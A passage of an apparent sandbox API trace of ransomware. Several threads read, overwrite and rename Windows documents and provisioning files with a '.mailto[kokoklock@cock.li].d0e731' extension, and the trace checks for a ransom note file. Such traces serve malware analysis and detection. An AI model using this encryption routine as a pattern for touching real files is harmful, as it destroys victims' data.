nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x2f95058*, lpNumberOfBytesWritten=0x29d7fedc*=0x8, lpOverlapped=0x0) returned 1 [0177.734] WriteFile (in: hFile=0x370, lpBuffer=0x29d7fef4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x29d7fef4*, lpNumberOfBytesWritten=0x29d7fedc*=0x4, lpOverlapped=0x0) returned 1 [0177.734] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29d7fedc*=0x4, lpOverlapped=0x0) returned 1 [0177.734] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29d7fedc*=0x6c, lpOverlapped=0x0) returned 1 [0177.735] WriteFile (in: hFile=0x370, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x29d7fedc*=0x20, lpOverlapped=0x0) returned 1 [0177.735] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29d7fedc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29d7fedc*=0x4, lpOverlapped=0x0) returned 1 [0177.735] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.735] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95030) returned 1 [0177.735] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95058) returned 1 [0177.735] CloseHandle (hObject=0x370) returned 1 [0177.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x114) returned 0x2f9fb30 [0177.735] wcscpy (in: _Dest=0x2f9fb30, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" [0177.735] wcscat (in: _Dest=0x2f9fb30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.735] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\uuumqyxxn.csv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.737] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9fb30) returned 1 [0177.737] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\UUUMQYxxn.csv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.737] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x3056360 [0177.737] wcscpy (in: _Dest=0x3056360, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0177.737] wcscat (in: _Dest=0x3056360, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" [0177.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\d0e731-readme.txt")) returned 0x20 [0178.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056360) returned 1 [0178.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96f78) returned 1 [0178.163] RtlExitUserThread (Status=0x1) Thread: id = 2653 os_tid = 0x1314 [0177.738] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.144] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.144] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x29dff780 | out: lpFileSize=0x29dff780*=99496) returned 1 [0178.144] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x184a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.144] ReadFile (in: hFile=0x6f4, lpBuffer=0x29dff754, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x29dff754*, lpNumberOfBytesRead=0x29dff750*=0x4, lpOverlapped=0x0) returned 1 [0178.145] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0178.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94fe0 [0178.145] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950d0 [0178.145] NtQuerySystemTime (in: CurrentTime=0x29dff72c | out: CurrentTime=0x29dff72c*=132121213354531204) returned 0x0 [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x3d874d6f [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x1a7898dc [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x2e118e79 [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xf7b3c08a [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xc8a4f2e5 [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xa5baea1a [0178.145] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xdf031111 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x15413bf1 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xd5bdb1c3 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x1228ed24 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x428fbc02 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xcb9c1811 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xa9d03b73 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xd884e34a [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x4716d8e5 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xcef76ff6 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xc133323a [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xbd336117 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x1cb09d4a [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x447af5da [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x766f5ef3 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x40777204 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x86167b87 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xfb36e3a7 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x1a6821c1 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xd917744b [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x3e8dc680 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xc08c78b4 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xc9bd5baf [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x183ae9c9 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0xc0eef07 [0178.146] RtlRandom (in: Seed=0x29dff738 | out: Seed=0x29dff738) returned 0x71c8a900 [0178.157] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.157] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f01768, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29dff704, lpOverlapped=0x0 | out: lpBuffer=0x4f01768*, lpNumberOfBytesRead=0x29dff704*=0x4096, lpOverlapped=0x0) returned 1 [0178.157] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f876b0 [0178.157] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0178.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0178.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0178.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f05808 [0178.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f40 [0178.158] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0178.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0178.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0178.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f876b0) returned 1 [0178.158] WriteFile (in: hFile=0x6f4, lpBuffer=0x4f05808*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29dff704, lpOverlapped=0x0 | out: lpBuffer=0x4f05808*, lpNumberOfBytesWritten=0x29dff704*=0x4096, lpOverlapped=0x0) returned 1 [0178.159] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f05808) returned 1 [0178.159] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x184a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.159] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dff73c, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x29dff73c*=0x20, lpOverlapped=0x0) returned 1 [0178.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0178.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f01768) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f949c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x2f949c8*, lpNumberOfBytesWritten=0x29dff750*=0x8, lpOverlapped=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x29dff768*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x29dff768*, lpNumberOfBytesWritten=0x29dff750*=0x4, lpOverlapped=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29dff750*=0x4, lpOverlapped=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29dff750*=0x6c, lpOverlapped=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x29dff750*=0x20, lpOverlapped=0x0) returned 1 [0178.160] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29dff750, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29dff750*=0x4, lpOverlapped=0x0) returned 1 [0178.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0178.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0178.161] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f949c8) returned 1 [0178.161] CloseHandle (hObject=0x6f4) returned 1 [0178.161] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x122) returned 0x2fe1518 [0178.161] wcscpy (in: _Dest=0x2fe1518, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" [0178.161] wcscat (in: _Dest=0x2fe1518, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.161] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\yuvtibl5ozeq68g.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.162] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1518) returned 1 [0178.162] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\yuVTiBL5OzEQ68g.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x3056d38 [0178.162] wcscpy (in: _Dest=0x3056d38, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\" [0178.162] wcscat (in: _Dest=0x3056d38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" [0178.162] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\Sr-iCEZV\\ELJOJE-1o\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\sr-icezv\\eljoje-1o\\d0e731-readme.txt")) returned 0x20 [0178.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056d38) returned 1 [0178.163] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98e00) returned 1 [0178.163] RtlExitUserThread (Status=0x1) Thread: id = 2654 os_tid = 0x1318 [0177.739] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.060] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\130__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.703] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\130__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.704] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0178.704] RtlExitUserThread (Status=0x0) Thread: id = 2655 os_tid = 0x131c [0177.740] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.898] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\131__connections_cellular_go communication ltd. (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.898] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\131__Connections_Cellular_Go Communication Ltd. (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.898] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0c68) returned 1 [0178.898] RtlExitUserThread (Status=0x0) Thread: id = 2656 os_tid = 0x1320 [0177.740] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.899] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.899] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.899] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.899] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0178.900] RtlExitUserThread (Status=0x0) Thread: id = 2657 os_tid = 0x1324 [0177.741] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.900] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.900] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\133__connections_cellular_tdc song finland 